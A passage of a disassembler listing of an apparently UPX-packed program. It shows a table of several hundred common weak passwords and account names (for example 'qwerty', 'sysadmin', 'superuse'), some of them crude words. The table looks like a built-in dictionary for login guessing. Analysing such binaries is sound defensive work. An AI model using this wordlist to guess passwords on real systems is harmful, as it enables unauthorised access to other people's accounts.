XREF: UPX0:004300CCo aWilma db 'wilma',0 ; DATA XREF: UPX0:004300C8o align 10h aWillie db 'willie',0 ; DATA XREF: UPX0:004300C4o align 4 aWilliams db 'williams',0 ; DATA XREF: UPX0:004300C0o align 4 aWilliam db 'william',0 ; DATA XREF: UPX0:004300BCo aWill db 'will',0 ; DATA XREF: UPX0:004300B8o align 4 aWhore db 'whore',0 ; DATA XREF: UPX0:004300B4o align 4 aWholesal db 'wholesal',0 ; DATA XREF: UPX0:004300B0o align 4 aWhitney db 'whitney',0 ; DATA XREF: UPX0:004300ACo aWhiting db 'whiting',0 ; DATA XREF: UPX0:004300A8o aWhite db 'white',0 ; DATA XREF: UPX0:004300A4o align 10h aWhisky db 'whisky',0 ; DATA XREF: UPX0:004300A0o align 4 aWhatnot db 'whatnot',0 ; DATA XREF: UPX0:0043009Co aWhatever db 'whatever',0 ; DATA XREF: UPX0:00430098o align 4 aWestern db 'western',0 ; DATA XREF: UPX0:00430094o aWest db 'west',0 ; DATA XREF: UPX0:00430090o align 4 aWerewolf db 'werewolf',0 ; DATA XREF: UPX0:0043008Co align 4 aWendy db 'wendy',0 ; DATA XREF: UPX0:00430088o align 10h aWendi db 'wendi',0 ; DATA XREF: UPX0:00430084o align 4 aWell db 'well',0 ; DATA XREF: UPX0:00430080o align 10h aWeenie db 'weenie',0 ; DATA XREF: UPX0:0043007Co align 4 aWeed db 'weed',0 ; DATA XREF: UPX0:00430078o align 10h aWednesda db 'wednesda',0 ; DATA XREF: UPX0:00430074o align 4 aWebpage db 'webpage',0 ; DATA XREF: UPX0:00430070o aWave db 'wave',0 ; DATA XREF: UPX0:0043006Co align 4 aWater db 'water',0 ; DATA XREF: UPX0:00430068o align 4 aWatchwor db 'watchwor',0 ; DATA XREF: UPX0:00430064o align 10h aWasp db 'wasp',0 ; DATA XREF: UPX0:00430060o align 4 aWarren db 'warren',0 ; DATA XREF: UPX0:off_43005Co align 10h aWarp db 'warp',0 ; DATA XREF: UPX0:00430058o align 4 aWargames db 'wargames',0 ; DATA XREF: UPX0:00430054o align 4 aWarfare db 'warfare',0 ; DATA XREF: UPX0:off_430050o aWarez db 'warez',0 ; DATA XREF: UPX0:0043004Co align 4 aWard db 'ward',0 ; DATA XREF: UPX0:00430048o align 4 aWaco db 'waco',0 ; DATA XREF: UPX0:00430044o align 4 aVodka db 'vodka',0 ; DATA XREF: UPX0:00430040o align 4 aVisualba db 'visualba',0 ; DATA XREF: UPX0:0043003Co align 4 aVisual db 'visual',0 ; DATA XREF: UPX0:00430038o align 10h aVisitor db 'visitor',0 ; DATA XREF: UPX0:00430034o aVirus db 'virus',0 ; DATA XREF: UPX0:00430030o align 10h aVirginia db 'virginia',0 ; DATA XREF: UPX0:0043002Co align 4 aVirgin db 'virgin',0 ; DATA XREF: UPX0:00430028o align 4 aVillage db 'village',0 ; DATA XREF: UPX0:00430024o aVideogam db 'videogam',0 ; DATA XREF: UPX0:00430020o align 4 ; char aVideo[] aVideo db 'video',0 ; DATA XREF: sub_40EE51:loc_413581o ; UPX0:0043001Co align 10h aVictor db 'victor',0 ; DATA XREF: UPX0:00430018o align 4 aVicky db 'vicky',0 ; DATA XREF: UPX0:00430014o align 10h aVertigo db 'vertigo',0 ; DATA XREF: UPX0:00430010o aVeronica db 'veronica',0 ; DATA XREF: UPX0:0043000Co align 4 aVenus db 'venus',0 ; DATA XREF: UPX0:00430008o align 4 aVasant db 'vasant',0 ; DATA XREF: UPX0:00430004o align 4 aVampire db 'vampire',0 ; DATA XREF: UPX0:00430000o aValerie db 'valerie',0 ; DATA XREF: UPX0:0042FFFCo aVagina db 'vagina',0 ; DATA XREF: UPX0:0042FFF8o align 4 aUucp db 'uucp',0 ; DATA XREF: UPX0:0042FFF4o align 4 aUtility db 'utility',0 ; DATA XREF: UPX0:0042FFF0o aUtil db 'util',0 ; DATA XREF: UPX0:0042FFECo align 4 aUsmc db 'usmc',0 ; DATA XREF: UPX0:0042FFE8o align 4 aUsername db 'username',0 ; DATA XREF: UPX0:0042FFE4o align 4 aUsermane db 'usermane',0 ; DATA XREF: UPX0:0042FFE0o align 4 aUsenet db 'usenet',0 ; DATA XREF: UPX0:0042FFDCo align 4 aUrsula db 'ursula',0 ; DATA XREF: UPX0:0042FFD8o align 4 aUrchin db 'urchin',0 ; DATA XREF: UPX0:0042FFD4o align 4 aUranus db 'uranus',0 ; DATA XREF: UPX0:0042FFD0o align 4 aUpload db 'upload',0 ; DATA XREF: UPX0:0042FFCCo align 4 aUnlock db 'unlock',0 ; DATA XREF: UPX0:0042FFC8o align 4 aUnknown_1 db 'unknown',0 ; DATA XREF: UPX0:0042FFC4o aUniversi db 'universi',0 ; DATA XREF: UPX0:0042FFC0o align 4 aUniverse db 'universe',0 ; DATA XREF: UPX0:0042FFBCo align 4 aUniversa db 'universa',0 ; DATA XREF: UPX0:0042FFB8o align 10h aUniform db 'uniform',0 ; DATA XREF: UPX0:0042FFB4o aUnicorn db 'unicorn',0 ; DATA XREF: UPX0:0042FFB0o aUnhappy db 'unhappy',0 ; DATA XREF: UPX0:0042FFACo aUndo db 'undo',0 ; DATA XREF: UPX0:0042FFA8o align 10h aUncle db 'uncle',0 ; DATA XREF: UPX0:0042FFA4o align 4 aUmesh db 'umesh',0 ; DATA XREF: UPX0:0042FFA0o align 10h aUgly db 'ugly',0 ; DATA XREF: UPX0:0042FF9Co align 4 aTuttle db 'tuttle',0 ; DATA XREF: UPX0:0042FF98o align 10h aTurn db 'turn',0 ; DATA XREF: UPX0:0042FF94o align 4 aTuesday db 'tuesday',0 ; DATA XREF: UPX0:0042FF90o aTubas db 'tubas',0 ; DATA XREF: UPX0:0042FF8Co align 4 aTruth db 'truth',0 ; DATA XREF: UPX0:0042FF88o align 10h aTrue db 'true',0 ; DATA XREF: UPX0:0042FF84o align 4 aTron db 'tron',0 ; DATA XREF: UPX0:0042FF80o align 10h aTrombone db 'trombone',0 ; DATA XREF: UPX0:0042FF7Co align 4 aTrojan db 'trojan',0 ; DATA XREF: UPX0:0042FF78o align 4 aTrivial db 'trivial',0 ; DATA XREF: UPX0:0042FF74o aTrisha db 'trisha',0 ; DATA XREF: UPX0:0042FF70o align 4 aTrek db 'trek',0 ; DATA XREF: UPX0:0042FF6Co align 4 aTree db 'tree',0 ; DATA XREF: UPX0:0042FF68o align 4 aTrapdoor db 'trapdoor',0 ; DATA XREF: UPX0:0042FF64o align 10h aTrap db 'trap',0 ; DATA XREF: UPX0:0042FF60o align 4 aTransfer_0 db 'transfer',0 ; DATA XREF: UPX0:0042FF5Co align 4 aTrails db 'trails',0 ; DATA XREF: UPX0:0042FF58o align 4 aTracy db 'tracy',0 ; DATA XREF: UPX0:0042FF54o align 4 aTracie db 'tracie',0 ; DATA XREF: UPX0:0042FF50o align 4 aTraci db 'traci',0 ; DATA XREF: UPX0:0042FF4Co align 4 aToyota db 'toyota',0 ; DATA XREF: UPX0:0042FF48o align 4 aToxic db 'toxic',0 ; DATA XREF: UPX0:0042FF44o align 4 aTortoise db 'tortoise',0 ; DATA XREF: UPX0:0042FF40o align 10h aTopograp db 'topograp',0 ; DATA XREF: UPX0:0042FF3Co align 4 aTomato db 'tomato',0 ; DATA XREF: UPX0:0042FF38o align 4 aTokenrin db 'tokenrin',0 ; DATA XREF: UPX0:0042FF34o align 10h aToken db 'token',0 ; DATA XREF: UPX0:0042FF30o align 4 aToggle db 'toggle',0 ; DATA XREF: UPX0:0042FF2Co align 10h aToad db 'toad',0 ; DATA XREF: UPX0:0042FF28o align 4 aTits db 'tits',0 ; DATA XREF: UPX0:0042FF24o align 10h aTina db 'tina',0 ; DATA XREF: UPX0:0042FF20o align 4 aTime db 'time',0 ; DATA XREF: UPX0:0042FF1Co align 10h aTiger db 'tiger',0 ; DATA XREF: UPX0:0042FF18o align 4 aTiffany db 'tiffany',0 ; DATA XREF: UPX0:0042FF14o aThursday db 'thursday',0 ; DATA XREF: UPX0:0042FF10o align 4 aThin db 'thin',0 ; DATA XREF: UPX0:0042FF0Co align 4 aTheresa db 'theresa',0 ; DATA XREF: UPX0:0042FF08o aThailand db 'thailand',0 ; DATA XREF: UPX0:0042FF04o align 4 aText db 'text',0 ; DATA XREF: UPX0:0042FF00o align 10h aTetris db 'tetris',0 ; DATA XREF: UPX0:0042FEFCo align 4 aTess db 'tess',0 ; DATA XREF: UPX0:0042FEF8o align 10h aTerminat db 'terminat',0 ; DATA XREF: UPX0:0042FEF4o align 4 aTerminal db 'terminal',0 ; DATA XREF: UPX0:0042FEF0o align 4 aTera db 'tera',0 ; DATA XREF: UPX0:0042FEECo align 10h aTennis db 'tennis',0 ; DATA XREF: UPX0:0042FEE8o align 4 aTemptati db 'temptati',0 ; DATA XREF: UPX0:0042FEE4o align 4 aTelnet db 'telnet',0 ; DATA XREF: UPX0:0042FEE0o align 4 aTelephon db 'telephon',0 ; DATA XREF: UPX0:0042FEDCo align 4 aTeenage db 'teenage',0 ; DATA XREF: UPX0:0042FED8o aTeen db 'teen',0 ; DATA XREF: UPX0:0042FED4o align 4 aTech db 'tech',0 ; DATA XREF: UPX0:0042FED0o align 10h aTears db 'tears',0 ; DATA XREF: UPX0:0042FECCo align 4 aTeapot db 'teapot',0 ; DATA XREF: UPX0:0042FEC8o align 10h aTeam db 'team',0 ; DATA XREF: UPX0:0042FEC4o align 4 aTaylor db 'taylor',0 ; DATA XREF: UPX0:0042FEBCo align 10h aTarragon db 'tarragon',0 ; DATA XREF: UPX0:0042FEB8o align 4 aTarget db 'target',0 ; DATA XREF: UPX0:0042FEB4o align 4 aTara db 'tara',0 ; DATA XREF: UPX0:0042FEB0o align 4 aTape db 'tape',0 ; DATA XREF: UPX0:0042FEACo align 4 aTango db 'tango',0 ; DATA XREF: UPX0:0042FEA8o align 4 aTangerin db 'tangerin',0 ; DATA XREF: UPX0:0042FEA4o align 4 aTammy db 'tammy',0 ; DATA XREF: UPX0:0042FEA0o align 10h aTamie db 'tamie',0 ; DATA XREF: UPX0:0042FE9Co align 4 aTami db 'tami',0 ; DATA XREF: UPX0:0042FE98o align 10h aTamara db 'tamara',0 ; DATA XREF: UPX0:0042FE94o align 4 aTall db 'tall',0 ; DATA XREF: UPX0:0042FE90o align 10h aTalk db 'talk',0 ; DATA XREF: UPX0:0042FE8Co align 4 aTabasco db 'tabasco',0 ; DATA XREF: UPX0:0042FE88o aSysop db 'sysop',0 ; DATA XREF: UPX0:0042FE84o align 4 aSysadmin db 'sysadmin',0 ; DATA XREF: UPX0:0042FE80o align 4 aSymmetry db 'symmetry',0 ; DATA XREF: UPX0:0042FE7Co align 10h aSybil db 'sybil',0 ; DATA XREF: UPX0:0042FE78o align 4 aSword db 'sword',0 ; DATA XREF: UPX0:0042FE74o align 10h aSwitch db 'switch',0 ; DATA XREF: UPX0:0042FE70o align 4 aSweat db 'sweat',0 ; DATA XREF: UPX0:0042FE6Co align 10h aSwearer db 'swearer',0 ; DATA XREF: UPX0:0042FE68o aSuzie db 'suzie',0 ; DATA XREF: UPX0:0042FE64o align 10h aSuzanne db 'suzanne',0 ; DATA XREF: UPX0:0042FE60o aSusie db 'susie',0 ; DATA XREF: UPX0:0042FE5Co align 10h aSusanne db 'susanne',0 ; DATA XREF: UPX0:0042FE58o aSusan db 'susan',0 ; DATA XREF: UPX0:0042FE54o align 10h aSurfing db 'surfing',0 ; DATA XREF: UPX0:0042FE50o aSurfer db 'surfer',0 ; DATA XREF: UPX0:0042FE4Co align 10h aSupporte db 'supporte',0 ; DATA XREF: UPX0:0042FE48o align 4 aSupport db 'support',0 ; DATA XREF: UPX0:0042FE44o aSupervis db 'supervis',0 ; DATA XREF: UPX0:0042FE40o align 10h aSuperuse db 'superuse',0 ; DATA XREF: UPX0:0042FE3Co align 4 aSupersta db 'supersta',0 ; DATA XREF: UPX0:0042FE38o align 4 aSuperson db 'superson',0 ; DATA XREF: UPX0:0042FE34o align 4 aSuperman db 'superman',0 ; DATA XREF: UPX0:0042FE30o align 10h aSunday db 'sunday',0 ; DATA XREF: UPX0:0042FE2Co align 4 aSummer db 'summer',0 ; DATA XREF: UPX0:0042FE28o align 10h aSucks db 'sucks',0 ; DATA XREF: UPX0:0042FE24o align 4 aSuckmydi db 'suckmydi',0 ; DATA XREF: UPX0:0042FE20o align 4 aSuck db 'suck',0 ; DATA XREF: UPX0:0042FE1Co align 4 aSuccess db 'success',0 ; DATA XREF: UPX0:0042FE18o aSubway db 'subway',0 ; DATA XREF: UPX0:0042FE14o align 4 aSubscrib db 'subscrib',0 ; DATA XREF: UPX0:0042FE10o align 4 aStuttgar db 'stuttgar',0 ; DATA XREF: UPX0:0042FE0Co align 4 aStrip db 'strip',0 ; DATA XREF: UPX0:0042FE04o align 4 aString db 'string',0 ; DATA XREF: UPX0:0042FE00o align 4 aStreetfi db 'streetfi',0 ; DATA XREF: UPX0:0042FDFCo align 10h aStratfor db 'stratfor',0 ; DATA XREF: UPX0:0042FDF8o align 4 aStrangle db 'strangle',0 ; DATA XREF: UPX0:0042FDF4o align 4 aStrange db 'strange',0 ; DATA XREF: UPX0:0042FDF0o aStones db 'stones',0 ; DATA XREF: UPX0:0042FDECo align 4 aStoned db 'stoned',0 ; DATA XREF: UPX0:0042FDE8o align 10h aStoneage db 'stoneage',0 ; DATA XREF: UPX0:0042FDE4o align 4 aSteve db 'steve',0 ; DATA XREF: UPX0:0042FDE0o align 4 aStereo db 'stereo',0 ; DATA XREF: UPX0:0042FDDCo align 4 aStephani db 'stephani',0 ; DATA XREF: UPX0:0042FDD8o align 4 aSteph db 'steph',0 ; DATA XREF: UPX0:0042FDD4o align 10h aSteel db 'steel',0 ; DATA XREF: UPX0:0042FDD0o align 4 aSteal db 'steal',0 ; DATA XREF: UPX0:0042FDCCo align 10h aSteak db 'steak',0 ; DATA XREF: UPX0:0042FDC8o align 4 aStarwars db 'starwars',0 ; DATA XREF: UPX0:0042FDC4o align 4 aStartup db 'startup',0 ; DATA XREF: UPX0:0042FDC0o aStartrek db 'startrek',0 ; DATA XREF: UPX0:0042FDBCo align 4 ; char aStart[] aStart db 'start',0 ; DATA XREF: sub_40EE51+2055o ; UPX0:0042FDB8o align 10h aStarship db 'starship',0 ; DATA XREF: UPX0:0042FDB4o align 4 aStar db 'star',0 ; DATA XREF: UPX0:0042FDB0o align 4 aStacy db 'stacy',0 ; DATA XREF: UPX0:0042FDACo align 4 aStacie db 'stacie',0 ; DATA XREF: UPX0:0042FDA8o align 4 aStaci db 'staci',0 ; DATA XREF: UPX0:0042FDA4o align 4 aStacey db 'stacey',0 ; DATA XREF: UPX0:0042FDA0o align 4 aSr71 db 'sr71',0 ; DATA XREF: UPX0:0042FD9Co align 4 aSquires db 'squires',0 ; DATA XREF: UPX0:0042FD98o aSpunk db 'spunk',0 ; DATA XREF: UPX0:0042FD94o align 4 aSpringer db 'springer',0 ; DATA XREF: UPX0:0042FD90o align 4 aSpring db 'spring',0 ; DATA XREF: UPX0:0042FD8Co align 10h aSpred db 'spred',0 ; DATA XREF: UPX0:0042FD88o align 4 aSpit db 'spit',0 ; DATA XREF: UPX0:0042FD84o align 10h aSpiderma db 'spiderma',0 ; DATA XREF: UPX0:0042FD80o align 4 aSpider db 'spider',0 ; DATA XREF: UPX0:0042FD7Co align 4 aSpice db 'spice',0 ; DATA XREF: UPX0:0042FD78o align 4 aSpell db 'spell',0 ; DATA XREF: UPX0:0042FD74o align 4 aSpear db 'spear',0 ; DATA XREF: UPX0:0042FD70o align 4 aSparrows db 'sparrows',0 ; DATA XREF: UPX0:0042FD6Co align 4 aSpaceshi db 'spaceshi',0 ; DATA XREF: UPX0:0042FD68o align 4 aSouth db 'south',0 ; DATA XREF: UPX0:0042FD64o align 4 aSource db 'source',0 ; DATA XREF: UPX0:0042FD60o align 4 aSossina db 'sossina',0 ; DATA XREF: UPX0:0042FD5Co aSonya db 'sonya',0 ; DATA XREF: UPX0:0042FD58o align 4 aSonic db 'sonic',0 ; DATA XREF: UPX0:0042FD54o align 4 aSonia db 'sonia',0 ; DATA XREF: UPX0:0042FD50o align 4 aSondra db 'sondra',0 ; DATA XREF: UPX0:0042FD4Co align 4 aSomebody db 'somebody',0 ; DATA XREF: UPX0:0042FD48o align 4 aSoftware db 'software',0 ; DATA XREF: UPX0:0042FD44o align 4 aSoft db 'soft',0 ; DATA XREF: UPX0:0042FD40o align 4 aSodomy db 'sodomy',0 ; DATA XREF: UPX0:0042FD3Co align 4 aSocrates db 'socrates',0 ; DATA XREF: UPX0:0042FD38o align 10h aSocial db 'social',0 ; DATA XREF: UPX0:0042FD34o align 4 aSoap db 'soap',0 ; DATA XREF: UPX0:0042FD30o align 10h aSnoopy db 'snoopy',0 ; DATA XREF: UPX0:0042FD2Co align 4 aSnatch db 'snatch',0 ; DATA XREF: UPX0:0042FD28o align 10h aSnake db 'snake',0 ; DATA XREF: UPX0:0042FD24o align 4 aSnafu db 'snafu',0 ; DATA XREF: UPX0:0042FD20o align 10h aSnach db 'snach',0 ; DATA XREF: UPX0:0042FD1Co align 4 aSmut db 'smut',0 ; DATA XREF: UPX0:0042FD18o align 10h aSmtp db 'smtp',0 ; DATA XREF: UPX0:0042FD14o align 4 aSmother db 'smother',0 ; DATA XREF: UPX0:0042FD10o aSmooch db 'smooch',0 ; DATA XREF: UPX0:0042FD0Co align 4 aSmiles db 'smiles',0 ; DATA XREF: UPX0:0042FD08o align 10h aSmile db 'smile',0 ; DATA XREF: UPX0:0042FD04o align 4 aSmart db 'smart',0 ; DATA XREF: UPX0:0042FD00o align 10h aSmall db 'small',0 ; DATA XREF: UPX0:0042FCFCo align 4 aSlut db 'slut',0 ; DATA XREF: UPX0:0042FCF8o align 10h aSlow db 'slow',0 ; DATA XREF: UPX0:0042FCF4o align 4 aSliders db 'sliders',0 ; DATA XREF: UPX0:0042FCF0o aSlick db 'slick',0 ; DATA XREF: UPX0:0042FCECo align 4 aSlave db 'slave',0 ; DATA XREF: UPX0:0042FCE8o align 10h aSkull db 'skull',0 ; DATA XREF: UPX0:0042FCE4o align 4 aSite db 'site',0 ; DATA XREF: UPX0:0042FCE0o align 10h aSingle db 'single',0 ; DATA XREF: UPX0:0042FCDCo align 4 aSinger db 'singer',0 ; DATA XREF: UPX0:0042FCD8o align 10h aSimulati db 'simulati',0 ; DATA XREF: UPX0:0042FCD4o align 4 aSimpsons db 'simpsons',0 ; DATA XREF: UPX0:0042FCD0o align 4 aSimple db 'simple',0 ; DATA XREF: UPX0:0042FCCCo align 10h aSimon db 'simon',0 ; DATA XREF: UPX0:0042FCC8o align 4 aSimcity db 'simcity',0 ; DATA XREF: UPX0:0042FCC4o aSilver db 'silver',0 ; DATA XREF: UPX0:0042FCC0o align 4 aSignatur db 'signatur',0 ; DATA XREF: UPX0:0042FCBCo align 4 aSierra db 'sierra',0 ; DATA XREF: UPX0:0042FCB8o align 4 aSick db 'sick',0 ; DATA XREF: UPX0:0042FCB4o align 4 aShuttle db 'shuttle',0 ; DATA XREF: UPX0:0042FCB0o aShort db 'short',0 ; DATA XREF: UPX0:0042FCACo align 4 aShivers db 'shivers',0 ; DATA XREF: UPX0:0042FCA8o aShiva db 'shiva',0 ; DATA XREF: UPX0:0042FCA4o align 4 aShitpot db 'shitpot',0 ; DATA XREF: UPX0:0042FCA0o aShit db 'shit',0 ; DATA XREF: UPX0:0042FC9Co align 4 aShirley db 'shirley',0 ; DATA XREF: UPX0:0042FC98o aShift db 'shift',0 ; DATA XREF: UPX0:0042FC94o align 4 aSherri db 'sherri',0 ; DATA XREF: UPX0:0042FC90o align 4 aShell db 'shell',0 ; DATA XREF: UPX0:0042FC8Co align 4 aSheldon db 'sheldon',0 ; DATA XREF: UPX0:0042FC88o aSheffiel db 'sheffiel',0 ; DATA XREF: UPX0:0042FC84o align 4 aSharon db 'sharon',0 ; DATA XREF: UPX0:0042FC80o align 10h aSharks db 'sharks',0 ; DATA XREF: UPX0:0042FC7Co align 4 aShark db 'shark',0 ; DATA XREF: UPX0:0042FC78o align 10h aSharc db 'sharc',0 ; DATA XREF: UPX0:0042FC74o align 4 aShannon db 'shannon',0 ; DATA XREF: UPX0:0042FC70o aSexy db 'sexy',0 ; DATA XREF: UPX0:0042FC6Co align 4 aSesame db 'sesame',0 ; DATA XREF: UPX0:0042FC68o align 10h aService db 'service',0 ; DATA XREF: UPX0:0042FC64o aSerial_0 db 'serial',0 ; DATA XREF: UPX0:0042FC60o align 10h aSerenity db 'serenity',0 ; DATA XREF: UPX0:0042FC5Co align 4 aSentry db 'sentry',0 ; DATA XREF: UPX0:0042FC58o align 4 aSentinel db 'sentinel',0 ; DATA XREF: UPX0:0042FC54o align 10h aSensor db 'sensor',0 ; DATA XREF: UPX0:0042FC50o align 4 aSega db 'sega',0 ; DATA XREF: UPX0:0042FC4Co align 10h aSeed db 'seed',0 ; DATA XREF: UPX0:0042FC48o align 4 aSecurity db 'security',0 ; DATA XREF: UPX0:0042FC44o align 4 aSearch db 'search',0 ; DATA XREF: UPX0:0042FC40o align 4 aScout db 'scout',0 ; DATA XREF: UPX0:0042FC3Co align 4 aScotty db 'scotty',0 ; DATA XREF: UPX0:0042FC38o align 4 aScott db 'scott',0 ; DATA XREF: UPX0:0042FC34o align 4 aScorpion db 'scorpion',0 ; DATA XREF: UPX0:0042FC30o align 10h aScifi db 'scifi',0 ; DATA XREF: UPX0:0042FC2Co align 4 aSchoolsucks db 'schoolsucks',0 ; DATA XREF: UPX0:0042FC28o aSchool db 'school',0 ; DATA XREF: UPX0:0042FC24o align 4 aScheme db 'scheme',0 ; DATA XREF: UPX0:0042FC20o align 4 aScamper db 'scamper',0 ; DATA XREF: UPX0:0042FC1Co aSaxon db 'saxon',0 ; DATA XREF: UPX0:0042FC18o align 4 aSaturn db 'saturn',0 ; DATA XREF: UPX0:0042FC14o align 4 aSaturday db 'saturday',0 ; DATA XREF: UPX0:0042FC10o align 4 aSarah db 'sarah',0 ; DATA XREF: UPX0:0042FC0Co align 10h aSara db 'sara',0 ; DATA XREF: UPX0:0042FC08o align 4 aSandy db 'sandy',0 ; DATA XREF: UPX0:0042FC04o align 10h aSandra db 'sandra',0 ; DATA XREF: UPX0:0042FC00o align 4 aSample db 'sample',0 ; DATA XREF: UPX0:0042FBFCo align 10h aSamantha db 'samantha',0 ; DATA XREF: UPX0:0042FBF8o align 4 aSalt db 'salt',0 ; DATA XREF: UPX0:0042FBF4o align 4 aSale db 'sale',0 ; DATA XREF: UPX0:0042FBF0o align 4 aSalami db 'salami',0 ; DATA XREF: UPX0:0042FBECo align 4 aSafe db 'safe',0 ; DATA XREF: UPX0:0042FBE8o align 4 aRuth db 'ruth',0 ; DATA XREF: UPX0:0042FBE4o align 4 aRush db 'rush',0 ; DATA XREF: UPX0:0042FBE0o align 4 aRunning_0 db 'running',0 ; DATA XREF: UPX0:0042FBDCo aRules db 'rules',0 ; DATA XREF: UPX0:0042FBD8o align 4 aRude db 'rude',0 ; DATA XREF: UPX0:0042FBD4o align 4 aRuby db 'ruby',0 ; DATA XREF: UPX0:0042FBD0o align 4 aRuben db 'ruben',0 ; DATA XREF: UPX0:0042FBCCo align 4 aRubber db 'rubber',0 ; DATA XREF: UPX0:0042FBC8o align 4 aRough db 'rough',0 ; DATA XREF: UPX0:0042FBC4o align 4 aRoses db 'roses',0 ; DATA XREF: UPX0:0042FBC0o align 4 aRosemary db 'rosemary',0 ; DATA XREF: UPX0:0042FBBCo align 4 aRosebud db 'rosebud',0 ; DATA XREF: UPX0:0042FBB8o aRose db 'rose',0 ; DATA XREF: UPX0:0042FBB4o align 4 aRonald db 'ronald',0 ; DATA XREF: UPX0:0042FBB0o align 10h aRomulan db 'romulan',0 ; DATA XREF: UPX0:0042FBACo aRomeo db 'romeo',0 ; DATA XREF: UPX0:0042FBA8o align 10h aRomano db 'romano',0 ; DATA XREF: UPX0:0042FBA4o align 4 aRolex db 'rolex',0 ; DATA XREF: UPX0:0042FBA0o align 10h aRodent db 'rodent',0 ; DATA XREF: UPX0:0042FB9Co align 4 aRockyhor db 'rockyhor',0 ; DATA XREF: UPX0:0042FB98o align 4 aRocky db 'rocky',0 ; DATA XREF: UPX0:0042FB94o align 4 aRock db 'rock',0 ; DATA XREF: UPX0:0042FB90o align 4 aRocheste db 'rocheste',0 ; DATA XREF: UPX0:0042FB8Co align 10h aRochelle db 'rochelle',0 ; DATA XREF: UPX0:0042FB88o align 4 aRobyn db 'robyn',0 ; DATA XREF: UPX0:0042FB84o align 4 aRobotics db 'robotics',0 ; DATA XREF: UPX0:0042FB80o align 10h aRobot db 'robot',0 ; DATA XREF: UPX0:0042FB7Co align 4 aRobin db 'robin',0 ; DATA XREF: UPX0:0042FB78o align 10h aRobert db 'robert',0 ; DATA XREF: UPX0:0042FB74o align 4 aRoach db 'roach',0 ; DATA XREF: UPX0:0042FB70o align 10h aRisc db 'risc',0 ; DATA XREF: UPX0:0042FB6Co align 4 aRipple db 'ripple',0 ; DATA XREF: UPX0:0042FB68o align 10h aRiot db 'riot',0 ; DATA XREF: UPX0:0042FB64o align 4 aRing db 'ring',0 ; DATA XREF: UPX0:0042FB60o align 10h aRightwin db 'rightwin',0 ; DATA XREF: UPX0:0042FB5Co align 4 aRight db 'right',0 ; DATA XREF: UPX0:0042FB58o align 4 aRiffraff db 'riffraff',0 ; DATA XREF: UPX0:0042FB54o align 10h aRick db 'rick',0 ; DATA XREF: UPX0:0042FB50o align 4 aRich db 'rich',0 ; DATA XREF: UPX0:0042FB4Co align 10h aRhino db 'rhino',0 ; DATA XREF: UPX0:0042FB48o align 4 aReveal db 'reveal',0 ; DATA XREF: UPX0:0042FB44o align 10h aResistan db 'resistan',0 ; DATA XREF: UPX0:0042FB40o align 4 aRepublic db 'republic',0 ; DATA XREF: UPX0:0042FB3Co align 4 aReport db 'report',0 ; DATA XREF: UPX0:0042FB38o align 10h aRent db 'rent',0 ; DATA XREF: UPX0:0042FB34o align 4 aReno db 'reno',0 ; DATA XREF: UPX0:0042FB30o align 10h aRenee db 'renee',0 ; DATA XREF: UPX0:0042FB2Co align 4 aRemote db 'remote',0 ; DATA XREF: UPX0:0042FB28o align 10h aRelease db 'release',0 ; DATA XREF: UPX0:0042FB24o aRegional db 'regional',0 ; DATA XREF: UPX0:0042FB20o align 4 aReferenc db 'referenc',0 ; DATA XREF: UPX0:0042FB1Co align 10h aRedhead db 'redhead',0 ; DATA XREF: UPX0:0042FB18o aReddawn db 'reddawn',0 ; DATA XREF: UPX0:0042FB14o aRecord db 'record',0 ; DATA XREF: UPX0:0042FB10o align 4 aRebel db 'rebel',0 ; DATA XREF: UPX0:0042FB0Co align 10h aRebecca db 'rebecca',0 ; DATA XREF: UPX0:0042FB08o aRebal db 'rebal',0 ; DATA XREF: UPX0:0042FB04o align 10h aReaper db 'reaper',0 ; DATA XREF: UPX0:0042FB00o align 4 aReam db 'ream',0 ; DATA XREF: UPX0:0042FAFCo align 10h aReally db 'really',0 ; DATA XREF: UPX0:0042FAF8o align 4 aReality db 'reality',0 ; DATA XREF: UPX0:0042FAF4o aReagan db 'reagan',0 ; DATA XREF: UPX0:0042FAF0o align 4 aRazor db 'razor',0 ; DATA XREF: UPX0:0042FAECo align 10h aRascal db 'rascal',0 ; DATA XREF: UPX0:0042FAE8o align 4 aRape db 'rape',0 ; DATA XREF: UPX0:0042FAE4o align 10h aRaleigh db 'raleigh',0 ; DATA XREF: UPX0:0042FADCo aRaindrop db 'raindrop',0 ; DATA XREF: UPX0:0042FAD8o align 4 aRainbow db 'rainbow',0 ; DATA XREF: UPX0:0042FAD4o aRain db 'rain',0 ; DATA XREF: UPX0:0042FAD0o align 4 aRaid db 'raid',0 ; DATA XREF: UPX0:0042FACCo align 4 aRachmani db 'rachmani',0 ; DATA XREF: UPX0:0042FAC8o align 4 aRachelle db 'rachelle',0 ; DATA XREF: UPX0:0042FAC4o align 4 aRachel db 'rachel',0 ; DATA XREF: UPX0:0042FAC0o align 4 aRabbit db 'rabbit',0 ; DATA XREF: UPX0:0042FABCo align 4 aQwerty db 'qwerty',0 ; DATA XREF: UPX0:0042FAB8o align 4 aQwert db 'qwert',0 ; DATA XREF: UPX0:0042FAB4o align 4 aQuebec db 'quebec',0 ; DATA XREF: UPX0:0042FAB0o align 4 aPussy db 'pussy',0 ; DATA XREF: UPX0:0042FAACo align 4 aPuppet db 'puppet',0 ; DATA XREF: UPX0:0042FAA8o align 4 aPunk db 'punk',0 ; DATA XREF: UPX0:0042FAA4o align 4 aPunisher db 'punisher',0 ; DATA XREF: UPX0:0042FAA0o align 10h aPuneet db 'puneet',0 ; DATA XREF: UPX0:0042FA9Co align 4 aPumpkin db 'pumpkin',0 ; DATA XREF: UPX0:0042FA98o aPuke db 'puke',0 ; DATA XREF: UPX0:0042FA94o align 4 aPuck db 'puck',0 ; DATA XREF: UPX0:0042FA90o align 10h aPublic db 'public',0 ; DATA XREF: UPX0:0042FA8Co align 4 aPsychopa db 'psychopa',0 ; DATA XREF: UPX0:0042FA88o align 4 aPsycho db 'psycho',0 ; DATA XREF: UPX0:0042FA84o align 4 aProtozoa db 'protozoa',0 ; DATA XREF: UPX0:0042FA80o align 4 aProtect db 'protect',0 ; DATA XREF: UPX0:0042FA7Co aPrompt db 'prompt',0 ; DATA XREF: UPX0:0042FA78o align 4 aProgram db 'program',0 ; DATA XREF: UPX0:0042FA74o aProfile db 'profile',0 ; DATA XREF: UPX0:0042FA70o aProfesso db 'professo',0 ; DATA XREF: UPX0:0042FA6Co align 4 aProcesso db 'processo',0 ; DATA XREF: UPX0:0042FA68o align 10h aProceed db 'proceed',0 ; DATA XREF: UPX0:0042FA64o aPrivs db 'privs',0 ; DATA XREF: UPX0:0042FA60o align 10h aPrivate db 'private',0 